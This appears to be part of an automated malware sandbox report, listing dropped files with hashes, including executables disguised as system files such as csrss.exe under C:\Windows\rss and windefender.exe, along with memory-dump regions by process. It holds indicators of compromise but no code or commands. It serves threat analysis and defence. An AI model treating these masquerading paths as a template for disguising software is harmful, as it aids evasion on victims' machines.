                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Windows\rss\csrss.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                        Filesize

                                                                                        4KB

                                                                                        MD5

                                                                                        bdb25c22d14ec917e30faf353826c5de

                                                                                        SHA1

                                                                                        6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                                                                                        SHA256

                                                                                        e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                                                                                        SHA512

                                                                                        b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

                                                                                      • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        b42c70c1dbf0d1d477ec86902db9e986

                                                                                        SHA1

                                                                                        1d1c0a670748b3d10bee8272e5d67a4fabefd31f

                                                                                        SHA256

                                                                                        8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

                                                                                        SHA512

                                                                                        57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

                                                                                      • C:\Windows\windefender.exe

                                                                                        Filesize

                                                                                        2.0MB

                                                                                        MD5

                                                                                        8e67f58837092385dcf01e8a2b4f5783

                                                                                        SHA1

                                                                                        012c49cfd8c5d06795a6f67ea2baf2a082cf8625

                                                                                        SHA256

                                                                                        166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

                                                                                        SHA512

                                                                                        40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

                                                                                      • C:\Windows\windefender.exe

                                                                                        Filesize

                                                                                        2.0MB

                                                                                        MD5

                                                                                        8e67f58837092385dcf01e8a2b4f5783

                                                                                        SHA1

                                                                                        012c49cfd8c5d06795a6f67ea2baf2a082cf8625

                                                                                        SHA256

                                                                                        166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

                                                                                        SHA512

                                                                                        40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

                                                                                      • C:\Windows\windefender.exe

                                                                                        Filesize

                                                                                        2.0MB

                                                                                        MD5

                                                                                        8e67f58837092385dcf01e8a2b4f5783

                                                                                        SHA1

                                                                                        012c49cfd8c5d06795a6f67ea2baf2a082cf8625

                                                                                        SHA256

                                                                                        166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

                                                                                        SHA512

                                                                                        40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

                                                                                      • memory/448-209-0x0000000003490000-0x0000000003600000-memory.dmp

                                                                                        Filesize

                                                                                        1.4MB

                                                                                      • memory/448-210-0x0000000003600000-0x0000000003731000-memory.dmp

                                                                                        Filesize

                                                                                        1.2MB

                                                                                      • memory/448-283-0x0000000003600000-0x0000000003731000-memory.dmp

                                                                                        Filesize

                                                                                        1.2MB

                                                                                      • memory/628-604-0x00007FF7A8F60000-0x00007FF7A931D000-memory.dmp

                                                                                        Filesize

                                                                                        3.7MB

                                                                                      • memory/628-518-0x00007FF7A8F60000-0x00007FF7A931D000-memory.dmp

                                                                                        Filesize

                                                                                        3.7MB

                                                                                      • memory/1020-383-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/1020-336-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/1432-469-0x00007FF65C140000-0x00007FF65C4FD000-memory.dmp

                                                                                        Filesize

                                                                                        3.7MB

                                                                                      • memory/1432-259-0x00007FF65C140000-0x00007FF65C4FD000-memory.dmp

                                                                                        Filesize

                                                                                        3.7MB

                                                                                      • memory/1460-211-0x0000000000610000-0x0000000000650000-memory.dmp

                                                                                        Filesize

                                                                                        256KB

                                                                                      • memory/1460-190-0x00000000005D0000-0x00000000005F6000-memory.dmp

                                                                                        Filesize

                                                                                        152KB

                                                                                      • memory/1460-263-0x0000000000400000-0x00000000004F3000-memory.dmp

                                                                                        Filesize

                                                                                        972KB

                                                                                      • memory/1660-633-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                        Filesize

                                                                                        4.9MB

                                                                                      • memory/1660-563-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                        Filesize

                                                                                        4.9MB

                                                                                      • memory/1660-620-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                        Filesize

                                                                                        4.9MB

                                                                                      • memory/1832-254-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                        Filesize

                                                                                        36KB

                                                                                      • memory/1832-215-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                        Filesize

                                                                                        36KB

                                                                                      • memory/1832-218-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                        Filesize

                                                                                        36KB

                                                                                      • memory/2396-613-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-517-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-618-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-607-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-624-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-632-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-537-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-533-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-507-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2396-528-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/2768-339-0x0000000005220000-0x0000000005230000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/2768-337-0x0000000005220000-0x0000000005230000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/2768-338-0x0000000005220000-0x0000000005230000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/2768-352-0x000000007F720000-0x000000007F730000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/2768-341-0x0000000073970000-0x0000000073CC4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/2768-340-0x0000000073E60000-0x0000000073EAC000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/3184-253-0x0000000002E80000-0x0000000002E96000-memory.dmp

                                                                                        Filesize

                                                                                        88KB

                                                                                      • memory/3404-526-0x0000000000400000-0x00000000008DF000-memory.dmp

                                                                                        Filesize

                                                                                        4.9MB

                                                                                      • memory/3776-437-0x000001C647280000-0x000001C647290000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/3776-436-0x000001C647280000-0x000001C647290000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/3776-430-0x000001C647240000-0x000001C647262000-memory.dmp

                                                                                        Filesize

                                                                                        136KB

                                                                                      • memory/3840-217-0x0000000001CA0000-0x0000000001CA9000-memory.dmp

                                                                                        Filesize

                                                                                        36KB

                                                                                      • memory/3984-133-0x0000000000D70000-0x00000000011CA000-memory.dmp

                                                                                        Filesize

                                                                                        4.4MB

                                                                                      • memory/4016-605-0x00000208C2390000-0x00000208C23B0000-memory.dmp

                                                                                        Filesize

                                                                                        128KB

                                                                                      • memory/4016-617-0x00007FF639CB0000-0x00007FF63A4A4000-memory.dmp

                                                                                        Filesize

                                                                                        8.0MB

                                                                                      • memory/4016-612-0x00007FF639CB0000-0x00007FF63A4A4000-memory.dmp

                                                                                        Filesize

                                                                                        8.0MB

                                                                                      • memory/4016-636-0x00007FF639CB0000-0x00007FF63A4A4000-memory.dmp

                                                                                        Filesize

                                                                                        8.0MB

                                                                                      • memory/4016-623-0x00007FF639CB0000-0x00007FF63A4A4000-memory.dmp

                                                                                        Filesize

                                                                                        8.0MB

                                                                                      • memory/4272-366-0x0000000073E60000-0x0000000073EAC000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/4272-365-0x0000000002370000-0x0000000002380000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4272-364-0x0000000002370000-0x0000000002380000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4272-378-0x000000007EF80000-0x000000007EF90000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4272-377-0x0000000002370000-0x0000000002380000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4272-367-0x0000000072260000-0x00000000725B4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/4584-398-0x0000000004620000-0x0000000004630000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4584-411-0x000000007FA20000-0x000000007FA30000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4584-401-0x0000000004620000-0x0000000004630000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4584-400-0x0000000073970000-0x0000000073CC4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/4584-399-0x0000000073E60000-0x0000000073EAC000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/4584-397-0x0000000004620000-0x0000000004630000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4588-318-0x000000007F1C0000-0x000000007F1D0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4588-308-0x0000000072260000-0x00000000725B4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/4588-307-0x0000000073E60000-0x0000000073EAC000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/4588-306-0x0000000002BF0000-0x0000000002C00000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4588-305-0x0000000002BF0000-0x0000000002C00000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4588-304-0x0000000002BF0000-0x0000000002C00000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4916-611-0x00007FF65AA10000-0x00007FF65AA26000-memory.dmp

                                                                                        Filesize

                                                                                        88KB

                                                                                      • memory/4924-287-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/4924-293-0x0000000002F10000-0x00000000037FB000-memory.dmp

                                                                                        Filesize

                                                                                        8.9MB

                                                                                      • memory/4924-235-0x0000000002B10000-0x0000000002F08000-memory.dmp

                                                                                        Filesize

                                                                                        4.0MB

                                                                                      • memory/4924-236-0x0000000002F10000-0x00000000037FB000-memory.dmp

                                                                                        Filesize

                                                                                        8.9MB

                                                                                      • memory/4924-321-0x0000000000400000-0x0000000000D1B000-memory.dmp

                                                                                        Filesize

                                                                                        9.1MB

                                                                                      • memory/4940-462-0x000001B39FD90000-0x000001B39FDA0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-260-0x0000000006B00000-0x0000000006B44000-memory.dmp

                                                                                        Filesize

                                                                                        272KB

                                                                                      • memory/5076-258-0x0000000006570000-0x000000000658E000-memory.dmp

                                                                                        Filesize

                                                                                        120KB

                                                                                      • memory/5076-268-0x0000000073EA0000-0x0000000073EEC000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/5076-267-0x0000000007AF0000-0x0000000007B22000-memory.dmp

                                                                                        Filesize

                                                                                        200KB

                                                                                      • memory/5076-266-0x0000000007930000-0x000000000794A000-memory.dmp

                                                                                        Filesize

                                                                                        104KB

                                                                                      • memory/5076-265-0x0000000007FB0000-0x000000000862A000-memory.dmp

                                                                                        Filesize

                                                                                        6.5MB

                                                                                      • memory/5076-264-0x0000000005260000-0x0000000005270000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-288-0x0000000007CC0000-0x0000000007CC8000-memory.dmp

                                                                                        Filesize

                                                                                        32KB

                                                                                      • memory/5076-262-0x00000000078B0000-0x0000000007926000-memory.dmp

                                                                                        Filesize

                                                                                        472KB

                                                                                      • memory/5076-279-0x0000000007AD0000-0x0000000007AEE000-memory.dmp

                                                                                        Filesize

                                                                                        120KB

                                                                                      • memory/5076-280-0x000000007F260000-0x000000007F270000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-285-0x0000000007C80000-0x0000000007C8E000-memory.dmp

                                                                                        Filesize

                                                                                        56KB

                                                                                      • memory/5076-281-0x0000000007C20000-0x0000000007C2A000-memory.dmp

                                                                                        Filesize

                                                                                        40KB

                                                                                      • memory/5076-269-0x000000006EC90000-0x000000006EFE4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/5076-451-0x0000000073970000-0x0000000073CC4000-memory.dmp

                                                                                        Filesize

                                                                                        3.3MB

                                                                                      • memory/5076-450-0x0000000073DD0000-0x0000000073E1C000-memory.dmp

                                                                                        Filesize

                                                                                        304KB

                                                                                      • memory/5076-252-0x0000000005260000-0x0000000005270000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-251-0x0000000005260000-0x0000000005270000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-241-0x0000000005F40000-0x0000000005FA6000-memory.dmp

                                                                                        Filesize

                                                                                        408KB

                                                                                      • memory/5076-240-0x0000000005ED0000-0x0000000005F36000-memory.dmp

                                                                                        Filesize

                                                                                        408KB

                                                                                      • memory/5076-239-0x00000000056B0000-0x00000000056D2000-memory.dmp

                                                                                        Filesize

                                                                                        136KB

                                                                                      • memory/5076-435-0x0000000002570000-0x0000000002580000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5076-238-0x00000000058A0000-0x0000000005EC8000-memory.dmp

                                                                                        Filesize

                                                                                        6.2MB

                                                                                      • memory/5076-237-0x0000000002FA0000-0x0000000002FD6000-memory.dmp

                                                                                        Filesize

                                                                                        216KB

                                                                                      • memory/5076-282-0x0000000007CE0000-0x0000000007D76000-memory.dmp

                                                                                        Filesize

                                                                                        600KB

                                                                                      • memory/5076-286-0x0000000007D80000-0x0000000007D9A000-memory.dmp

                                                                                        Filesize

                                                                                        104KB

                                                                                      • memory/5076-434-0x0000000002570000-0x0000000002580000-memory.dmp

                                                                                        Filesize

                                                                                        64KB